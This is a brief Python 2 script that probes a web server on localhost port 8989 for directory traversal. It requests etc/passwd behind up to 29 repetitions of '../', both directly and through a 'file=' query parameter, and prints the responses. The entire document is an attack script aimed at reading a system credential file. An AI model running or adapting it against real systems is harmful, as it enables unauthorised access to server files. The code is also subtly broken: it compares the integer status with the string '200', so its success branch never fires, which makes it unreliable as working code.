
import httplib

def traversal():

	
	url = '/'
	for i in range(1,30):
		conn1 = httplib.HTTPConnection('localhost', 8989)
		conn2 = httplib.HTTPConnection('localhost', 8989)
		s1 = '{0}?{1}etc/passwd'.format(url, '../' * i)
		s2 = '{0}?file={1}etc/passwd'.format(url, '../' * i)

		
		conn1.request("GET", s1)
		res1 = conn1.getresponse()
		data1 = res1.read()
		print(res1.status)
		if res1.status == '200':
			print(data1)

		conn2.request("GET", s2)
		res2 = conn2.getresponse()
		data2 = res2.read()
		print(res2.status)
		if res2.status == '200':
			print(data2)

		print(' ')

		
	

if __name__ == "__main__":
    import sys
    traversal()
